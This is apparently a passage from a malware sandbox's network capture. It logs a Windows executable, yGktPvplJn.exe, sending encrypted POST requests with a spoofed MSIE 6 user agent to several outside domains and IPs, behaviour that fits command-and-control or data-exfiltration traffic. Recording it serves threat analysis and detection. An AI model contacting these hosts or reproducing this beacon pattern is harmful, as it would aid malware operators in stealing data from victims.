Oct 25, 2024 11:17:45.692778111 CEST	636	IN	Data Raw: 70 20 61 6e 64 20 74 68 65 20 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 20 66 6f 75 6e 64 20 61 74 20 74 68 65 20 62 6f 74 74 6f 6d 20 6f 66 20 74 68 69 73 20 70 61 67 65 2e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e Data Ascii: p and the Cloudflare Ray ID found at the bottom of this page.</p> </div> </div> </div>... /.section --> <div class="cf-error-footer cf-wrapper w-240 lg:w-full py-10 sm:py-4 sm:px-8 mx-auto text-center sm:text-le
Oct 25, 2024 11:17:45.692792892 CEST	1236	IN	Data Raw: 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 Data Ascii: d="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">173.254.250.81</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf
Oct 25, 2024 11:17:45.692810059 CEST	744	IN	Data Raw: 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 61 2e 6e 6f 6e 63 65 3d 27 27 3b 61 2e 73 72 63 3d 27 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 73 63 72 69 70 74 Data Ascii: ument.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.creat

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	52683	93.187.206.66	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:45.261450052 CEST	815	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 580 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.yoruksut.com Cache-Control: no-cache Data Raw: 6d 4e 31 4d 59 65 53 50 35 66 33 32 38 75 33 47 66 78 6d 77 70 62 63 55 63 6c 6d 63 39 67 78 30 57 43 75 61 70 58 4b 31 6c 4f 4a 52 52 6e 39 48 63 44 74 74 47 2f 49 38 62 31 36 72 2f 6f 63 72 66 68 39 68 63 76 7a 79 32 69 6d 55 73 77 4a 48 4e 68 2b 76 4e 4a 6c 45 78 36 58 6d 6a 6a 2b 44 42 66 45 6d 54 44 6d 65 70 41 56 45 72 36 79 69 55 34 65 44 38 46 72 79 7a 4c 78 56 50 35 35 50 70 55 49 62 71 62 62 64 69 6a 6d 35 66 4c 6f 2b 46 34 38 4c 33 53 6d 64 54 64 65 74 58 66 45 52 48 56 67 4f 4f 44 79 46 7a 78 48 32 64 6d 4e 73 67 74 65 38 50 4e 35 79 6a 51 37 4c 31 79 68 51 67 56 58 76 2f 4f 72 6b 30 65 45 55 43 70 64 58 62 4f 7a 77 72 71 48 49 39 44 6e 37 6e 7a 65 4b 2b 38 69 35 76 36 34 36 4c 49 4a 72 50 4f 34 6f 44 2f 4a 56 4a 68 57 4c 54 36 4f 52 77 4e 32 5a 48 6d 46 4c 6f 2b 48 62 35 34 4a 6d 79 63 76 6e 30 77 73 62 77 6f 38 7a 79 41 31 4e 6b 59 72 71 64 55 76 68 63 57 32 78 37 4e 62 56 35 4b 4f 72 30 62 74 7a 48 58 5a 53 69 59 6d 5a 48 42 33 51 70 32 48 30 69 79 67 6c 43 49 62 5a 30 6e 37 39 50 33 [TRUNCATED] Data Ascii: mN1MYeSP5f328u3GfxmwpbcUclmc9gx0WCuapXK1lOJRRn9HcDttG/I8b16r/ocrfh9hcvzy2imUswJHNh+vNJlEx6Xmjj+DBfEmTDmepAVEr6yiU4eD8FryzLxVP55PpUIbqbbdijm5fLo+F48L3SmdTdetXfERHVgOODyFzxH2dmNsgte8PN5yjQ7L1yhQgVXv/Ork0eEUCpdXbOzwrqHI9Dn7nzeK+8i5v646LIJrPO4oD/JVJhWLT6ORwN2ZHmFLo+Hb54Jmycvn0wsbwo8zyA1NkYrqdUvhcW2x7NbV5KOr0btzHXZSiYmZHB3Qp2H0iyglCIbZ0n79P3iABqUUAEDLIUAMWDAtJVfk1FpJ7gR0h5DYIBGKG0kRYEO7qQdBbJbyJUbS5gM5MXe4UC9j803ggm1DyPbfq5DIq/evh9yz/oWIAUhuHwzEsF2LPUcK+IwcpFMJdQV63ltAedx32S3JA8bt6R0KeESTGPlE7wjJFstzyWb19SPlp++vrwcNvqBr6CMbJiF1Ovmjx6898BE7oYGQUzq/HA2lkNUdhTR9S2QUyZoqtbpH7lhmH+/n
Oct 25, 2024 11:17:46.326915026 CEST	956	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 707 date: Fri, 25 Oct 2024 09:17:45 GMT server: LiteSpeed location: https://www.yoruksut.com.tr vary: User-Agent Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	52685	64.125.133.18	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:45.493626118 CEST	814	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 580 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.reglera.com Cache-Control: no-cache Data Raw: 43 42 61 7a 6c 4e 43 74 51 76 35 4c 65 46 47 68 59 36 5a 69 73 49 4f 6c 53 38 33 34 4b 4c 59 70 42 4e 4c 6b 55 48 63 6a 70 6a 63 43 50 61 30 68 79 6d 57 37 49 4f 42 68 33 34 68 77 4b 63 52 33 4c 59 69 49 69 6a 69 78 6c 54 34 74 42 70 35 6d 67 53 41 6c 70 31 7a 76 70 58 6f 55 4e 41 67 67 47 4a 36 64 46 75 62 66 63 76 43 75 57 2b 52 71 47 37 76 45 66 42 49 5a 48 64 55 51 42 73 68 2b 30 4b 31 65 2f 43 47 39 43 4e 63 30 2b 33 78 6d 36 42 5a 74 39 71 4a 51 77 70 45 38 41 47 43 2b 4f 4c 47 32 67 58 58 4e 66 6a 32 65 71 49 5a 5a 6a 36 49 64 30 4b 45 32 48 78 69 55 64 6f 4d 57 54 69 6a 33 68 61 34 4d 4f 30 63 72 57 34 2f 67 55 34 4a 73 6d 7a 62 47 33 34 4d 70 6d 70 2b 74 41 7a 48 68 59 31 59 30 6a 58 34 73 79 50 48 63 33 59 73 4f 70 53 31 37 69 75 38 4f 6d 30 59 7a 61 35 4d 66 68 6c 79 58 45 6c 62 66 6a 6d 74 6f 63 39 34 62 52 61 70 48 38 79 72 68 6c 6b 7a 70 2b 4e 30 54 38 6b 54 48 44 76 41 62 54 43 72 2b 75 79 35 39 63 33 42 51 34 4a 44 66 2b 47 51 36 49 51 72 74 32 5a 38 2f 48 51 4e 48 34 39 58 33 58 51 [TRUNCATED] Data Ascii: CBazlNCtQv5LeFGhY6ZisIOlS834KLYpBNLkUHcjpjcCPa0hymW7IOBh34hwKcR3LYiIijixlT4tBp5mgSAlp1zvpXoUNAggGJ6dFubfcvCuW+RqG7vEfBIZHdUQBsh+0K1e/CG9CNc0+3xm6BZt9qJQwpE8AGC+OLG2gXXNfj2eqIZZj6Id0KE2HxiUdoMWTij3ha4MO0crW4/gU4JsmzbG34Mpmp+tAzHhY1Y0jX4syPHc3YsOpS17iu8Om0Yza5MfhlyXElbfjmtoc94bRapH8yrhlkzp+N0T8kTHDvAbTCr+uy59c3BQ4JDf+GQ6IQrt2Z8/HQNH49X3XQAkg9ZF+PxkIDOdKElKJSnbJXtp9votAOvNc0p4GlAzPrkMdWSjS7QN8P8EhrentDeYqUNWCEOaTurChjq1He6w8LVPzEg1AikRrK6uVlQeSpzpxUTxRBDzXagaLb2X0ipENxBDrLByESqkoJdJ+X3T63tViFuGRRSiV64h7UBXKqK718itC0qbjLXXpejgkTnOhUKUrmmV5H6dPUnd3L06IzgQcwiys0/VGpkychdVmBW10Q==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	52692	96.91.204.114	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:46.918267965 CEST	790	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 556 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.wnsavoy.com Cache-Control: no-cache Data Raw: 69 46 51 4c 5a 4e 63 4e 33 2f 37 52 5a 46 4e 4b 78 6c 46 46 5a 79 43 53 6b 51 6b 4e 41 33 6e 4c 2b 34 35 73 5a 6e 37 57 44 53 79 41 41 4a 4a 75 4c 75 63 53 68 2f 44 64 68 5a 66 74 75 71 6d 4e 38 56 4f 64 4a 79 52 59 47 6e 5a 64 65 2b 46 6a 31 6a 62 74 2b 52 64 42 43 31 49 30 30 52 72 41 55 64 57 6b 6a 48 78 43 6d 68 64 68 44 67 30 71 66 53 44 6d 55 57 2b 4d 68 30 33 70 6a 61 71 38 62 77 31 6b 74 4c 78 32 44 59 59 30 6d 38 48 39 4d 37 71 68 74 47 59 55 44 72 79 72 72 6d 6b 34 37 33 43 4c 72 4b 77 2b 37 31 7a 7a 58 47 30 36 39 4e 36 44 62 46 4f 52 55 76 6b 4c 35 45 43 6b 49 70 68 37 42 72 2f 53 41 66 77 54 41 66 7a 73 38 49 70 75 43 30 35 34 31 75 68 66 70 2b 6a 74 69 72 41 4b 5a 4f 6d 4c 37 71 41 67 69 52 54 4c 56 4f 47 6d 52 31 35 2f 78 50 42 50 62 7a 33 62 44 74 61 61 71 54 59 64 6e 52 73 59 59 7a 4a 70 63 4b 31 4c 38 61 66 46 51 34 2b 52 37 4e 30 30 33 76 65 64 50 6b 35 4b 6e 74 35 52 79 38 30 6f 2f 50 39 79 79 68 4c 76 39 32 51 39 55 38 35 6e 31 50 67 30 56 77 46 74 77 48 50 4e 75 61 4f 6f 44 4a [TRUNCATED] Data Ascii: iFQLZNcN3/7RZFNKxlFFZyCSkQkNA3nL+45sZn7WDSyAAJJuLucSh/DdhZftuqmN8VOdJyRYGnZde+Fj1jbt+RdBC1I00RrAUdWkjHxCmhdhDg0qfSDmUW+Mh03pjaq8bw1ktLx2DYY0m8H9M7qhtGYUDryrrmk473CLrKw+71zzXG069N6DbFORUvkL5ECkIph7Br/SAfwTAfzs8IpuC0541uhfp+jtirAKZOmL7qAgiRTLVOGmR15/xPBPbz3bDtaaqTYdnRsYYzJpcK1L8afFQ4+R7N003vedPk5Knt5Ry80o/P9yyhLv92Q9U85n1Pg0VwFtwHPNuaOoDJLG67o6vJTduM8NU/qAh+migd5mS9SgKobD6U6ZVZAqgSsQmyrCWPRFpzT9Xz6ZnL8RhpEjkwNlftUad6fiRucaL1UA8QRSMvVgIPh3ofuX5f4oX0LDuYck8S9PR1pZb6n2fswEOf6PF24IdJTfpWo8XPHOravbDNpeF2Drf25RE+UgHSvl+2PmzqK+tyu1TvMC9dhNjFQ4ivq8SByQbmJr+lIN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	52724	188.114.96.3	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:54.226607084 CEST	820	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 588 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.fnsds.org Cache-Control: no-cache Data Raw: 4c 51 57 54 38 47 72 49 56 77 4e 4f 33 64 69 64 54 56 77 59 39 43 32 4e 65 57 57 61 71 50 4c 4e 50 74 6d 6a 4f 53 33 6a 32 42 58 59 54 47 63 54 59 65 39 70 47 7a 75 76 55 38 65 7a 64 52 36 72 74 62 61 42 41 39 36 48 6b 7a 4b 62 43 54 6c 43 74 49 78 53 39 48 2f 63 68 73 6d 6f 63 54 66 62 66 41 65 45 4b 49 71 57 4e 34 75 33 64 6c 36 78 77 54 46 52 66 76 79 4e 48 70 45 31 30 54 41 55 35 68 31 71 54 65 4b 2f 51 32 2f 66 70 56 51 2b 4f 39 75 4a 55 6b 34 36 56 78 2b 30 76 57 63 2b 48 69 35 32 42 67 48 4d 63 64 43 30 72 30 47 43 4b 53 62 4c 6c 31 75 58 6b 7a 34 64 65 32 72 45 71 32 56 51 43 37 57 39 36 45 75 64 38 4e 68 34 6a 73 68 52 4d 4e 30 35 6c 33 6f 46 39 2f 44 4e 49 30 75 64 70 56 73 38 6d 47 34 6b 6a 52 51 64 78 37 49 69 55 35 49 72 77 66 62 6f 55 38 73 74 7a 46 72 69 2b 4c 43 6b 71 68 51 5a 6c 67 36 61 4f 42 72 38 78 5a 71 4f 50 75 31 65 54 50 73 6e 45 43 74 33 5a 56 54 7a 43 51 56 75 6a 30 77 6b 52 54 78 73 6e 57 49 2f 62 4a 79 67 33 31 54 41 6e 67 48 59 36 31 6f 43 63 67 70 46 51 54 74 2b 4e 66 [TRUNCATED] Data Ascii: LQWT8GrIVwNO3didTVwY9C2NeWWaqPLNPtmjOS3j2BXYTGcTYe9pGzuvU8ezdR6rtbaBA96HkzKbCTlCtIxS9H/chsmocTfbfAeEKIqWN4u3dl6xwTFRfvyNHpE10TAU5h1qTeK/Q2/fpVQ+O9uJUk46Vx+0vWc+Hi52BgHMcdC0r0GCKSbLl1uXkz4de2rEq2VQC7W96Eud8Nh4jshRMN05l3oF9/DNI0udpVs8mG4kjRQdx7IiU5IrwfboU8stzFri+LCkqhQZlg6aOBr8xZqOPu1eTPsnECt3ZVTzCQVuj0wkRTxsnWI/bJyg31TAngHY61oCcgpFQTt+Nf11cdikZBE0M3pdD+WwdnjpCyma16M5wJePHwcfmtWZRHjsEPjfKaex38PchK9YwX63DqLpZQYBAIceX3TYHE9Vj2k27FXwGbatLs0tHtiSJnWGQjraBDcavfXift8/ZIWosDqJXe1+yy5+ixkj+8Z7tbz9JQaHFqCRMNmn/lqSL5VkhFRaZZmLV9z99JocCvSVZ/gStcPEMihIBBRUue5D9Cam5lWjHdxmZQ2Jto8lNpaGvXIfLMUORQY=
Oct 25, 2024 11:17:54.943747044 CEST	1069	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:54 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: keep-alive Location: https://chiktok.live/stream/fnsds/ cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Uuf%2F8tFg4Ys7SryomiNeaGP1iQCQe4ViVX0cMK9jC48DjjLiE2MPzQAuOsaGCEoBXjkQ65oxiyJXt3BXiBsj3l5L1MRxAb%2BdImqbhvYp6IRElGRYGrd42gLR%2FOQQOHZp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811dc13d694642-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1049&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=820&delivery_rate=0&cwnd=195&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 66 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 68 69 6b 74 6f 6b 2e 6c 69 76 65 2f 73 74 72 65 61 6d 2f 66 6e 73 64 73 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: f2<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://chiktok.live/stream/fnsds/">here</a>.</p></body></html>0
Oct 25, 2024 11:17:55.548873901 CEST	820	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 588 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.fnsds.org Cache-Control: no-cache Data Raw: 4c 51 57 54 38 47 72 49 56 77 4e 4f 33 64 69 64 54 56 77 59 39 43 32 4e 65 57 57 61 71 50 4c 4e 50 74 6d 6a 4f 53 33 6a 32 42 58 59 54 47 63 54 59 65 39 70 47 7a 75 76 55 38 65 7a 64 52 36 72 74 62 61 42 41 39 36 48 6b 7a 4b 62 43 54 6c 43 74 49 78 53 39 48 2f 63 68 73 6d 6f 63 54 66 62 66 41 65 45 4b 49 71 57 4e 34 75 33 64 6c 36 78 77 54 46 52 66 76 79 4e 48 70 45 31 30 54 41 55 35 68 31 71 54 65 4b 2f 51 32 2f 66 70 56 51 2b 4f 39 75 4a 55 6b 34 36 56 78 2b 30 76 57 63 2b 48 69 35 32 42 67 48 4d 63 64 43 30 72 30 47 43 4b 53 62 4c 6c 31 75 58 6b 7a 34 64 65 32 72 45 71 32 56 51 43 37 57 39 36 45 75 64 38 4e 68 34 6a 73 68 52 4d 4e 30 35 6c 33 6f 46 39 2f 44 4e 49 30 75 64 70 56 73 38 6d 47 34 6b 6a 52 51 64 78 37 49 69 55 35 49 72 77 66 62 6f 55 38 73 74 7a 46 72 69 2b 4c 43 6b 71 68 51 5a 6c 67 36 61 4f 42 72 38 78 5a 71 4f 50 75 31 65 54 50 73 6e 45 43 74 33 5a 56 54 7a 43 51 56 75 6a 30 77 6b 52 54 78 73 6e 57 49 2f 62 4a 79 67 33 31 54 41 6e 67 48 59 36 31 6f 43 63 67 70 46 51 54 74 2b 4e 66 [TRUNCATED] Data Ascii: LQWT8GrIVwNO3didTVwY9C2NeWWaqPLNPtmjOS3j2BXYTGcTYe9pGzuvU8ezdR6rtbaBA96HkzKbCTlCtIxS9H/chsmocTfbfAeEKIqWN4u3dl6xwTFRfvyNHpE10TAU5h1qTeK/Q2/fpVQ+O9uJUk46Vx+0vWc+Hi52BgHMcdC0r0GCKSbLl1uXkz4de2rEq2VQC7W96Eud8Nh4jshRMN05l3oF9/DNI0udpVs8mG4kjRQdx7IiU5IrwfboU8stzFri+LCkqhQZlg6aOBr8xZqOPu1eTPsnECt3ZVTzCQVuj0wkRTxsnWI/bJyg31TAngHY61oCcgpFQTt+Nf11cdikZBE0M3pdD+WwdnjpCyma16M5wJePHwcfmtWZRHjsEPjfKaex38PchK9YwX63DqLpZQYBAIceX3TYHE9Vj2k27FXwGbatLs0tHtiSJnWGQjraBDcavfXift8/ZIWosDqJXe1+yy5+ixkj+8Z7tbz9JQaHFqCRMNmn/lqSL5VkhFRaZZmLV9z99JocCvSVZ/gStcPEMihIBBRUue5D9Cam5lWjHdxmZQ2Jto8lNpaGvXIfLMUORQY=
Oct 25, 2024 11:17:55.742772102 CEST	1079	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:55 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: keep-alive Location: https://chiktok.live/stream/fnsds/ cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WxnAaDheCWc0aoiaI7pR7xWw4lEwYbz8h55QJX1QEBjDxkruvS082%2Bo%2B1vhOFP9N6yvMbHgWpoYt8WhrbwI40%2FaYe4qctMVkcDztumLEz5ENc75aLAsHVoQD2bPwVI6m"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811dc6999b4642-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1046&sent=4&recv=6&lost=0&retrans=0&sent_bytes=1069&recv_bytes=1640&delivery_rate=2716697&cwnd=197&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 66 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 68 69 6b 74 6f 6b 2e 6c 69 76 65 2f 73 74 72 65 61 6d 2f 66 6e 73 64 73 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: f2<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://chiktok.live/stream/fnsds/">here</a>.</p></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	52735	104.218.10.254	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:56.413790941 CEST	815	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 580 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.pohlfood.com Cache-Control: no-cache Data Raw: 78 6d 6f 73 38 44 4a 74 63 67 51 38 36 50 59 34 5a 57 71 69 74 7a 55 31 43 4c 63 43 45 65 77 78 68 75 37 7a 7a 6e 46 6e 30 32 71 72 45 67 47 45 68 6f 71 6f 52 42 69 39 2f 30 38 38 64 43 4c 7a 66 6e 42 46 7a 75 76 6f 78 5a 59 34 35 6c 47 74 5a 30 4f 53 38 44 76 49 4c 38 44 72 57 6e 57 6c 49 74 57 37 71 44 4c 69 36 54 6f 78 4b 66 65 63 62 65 38 38 6e 34 64 36 36 33 58 63 76 53 5a 56 38 75 69 2f 50 78 6d 5a 53 44 46 56 44 55 7a 4a 6c 2f 53 43 71 70 6d 52 36 51 6f 4c 69 6b 36 63 68 39 4a 2f 4f 50 75 77 63 41 66 51 77 48 53 51 41 36 41 52 6a 4b 62 44 33 38 61 35 78 38 5a 70 6d 69 45 6b 62 42 6f 58 58 6b 62 6a 42 55 41 47 45 78 4d 58 6a 2f 4d 70 71 4a 30 61 70 6e 4b 61 56 36 50 46 39 4e 50 55 68 4f 35 31 72 6e 36 74 38 2f 6d 5a 37 35 35 56 4b 58 75 35 63 69 77 51 59 54 34 67 32 42 65 6d 4b 35 6d 7a 64 69 38 6e 78 71 61 66 6e 56 33 59 50 6d 6e 41 32 6f 55 42 74 64 55 78 4a 53 68 2b 4a 65 66 34 6d 6e 42 64 33 72 63 7a 42 61 7a 71 75 45 33 75 33 77 6f 45 70 70 6d 6e 36 76 47 64 35 73 4b 51 74 47 76 70 79 6e [TRUNCATED] Data Ascii: xmos8DJtcgQ86PY4ZWqitzU1CLcCEewxhu7zznFn02qrEgGEhoqoRBi9/088dCLzfnBFzuvoxZY45lGtZ0OS8DvIL8DrWnWlItW7qDLi6ToxKfecbe88n4d663XcvSZV8ui/PxmZSDFVDUzJl/SCqpmR6QoLik6ch9J/OPuwcAfQwHSQA6ARjKbD38a5x8ZpmiEkbBoXXkbjBUAGExMXj/MpqJ0apnKaV6PF9NPUhO51rn6t8/mZ755VKXu5ciwQYT4g2BemK5mzdi8nxqafnV3YPmnA2oUBtdUxJSh+Jef4mnBd3rczBazquE3u3woEppmn6vGd5sKQtGvpynVGYG6uJG/nTcKbTIUJyXyy0NgRYUed11OVmUfAfxFPMifiEdAXK6ZUmpv6B24cRgYhEjeGSDdyytamc0RAIWxJNmxF9o+qE3JVdu4EUuvptlAVYbCD7XwIB8ODXJCqIrGMLHdURdiiPEM8J3JqxWIUwoetM9XlgTZ1tUop18lzjGviRbotCfElOLcA8aLZS4cYIPeixbDf9f8WNK0uIvt4SycjSaGaYb82A2OUFTn+CxxZQIA=
Oct 25, 2024 11:17:57.720748901 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 09:17:56 GMT Server: Apache X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding,Cookie,User-Agent Access-Control-Allow-Methods: GET,POST Access-Control-Allow-Headers: Content-Type, Authorization Content-Security-Policy: upgrade-insecure-requests; Cross-Origin-Embedder-Policy: unsafe-none; report-to='default' Cross-Origin-Embedder-Policy-Report-Only: unsafe-none; report-to='default' Cross-Origin-Opener-Policy: unsafe-none Cross-Origin-Opener-Policy-Report-Only: unsafe-none; report-to='default' Cross-Origin-Resource-Policy: cross-origin Permissions-Policy: accelerometer=(), autoplay=(), camera=(), cross-origin-isolated=(), display-capture=(self), encrypted-media=(), fullscreen=, geolocation=(self), gyroscope=(), keyboard-map=(), magnetometer=(), microphone=(), midi=(), payment=, picture-in-picture=, publickey-credentials-get=(), screen-wake-lock=(), sync-xhr=, usb=(), xr-spatial-tracking=(), gamepad=(), serial=() Referrer-Policy: strict-origin-when-cross-origin Strict-Transport-Security: max-age=63072000; includeSubDomains X-Content-Security-Policy: default Data Raw: Data Ascii:
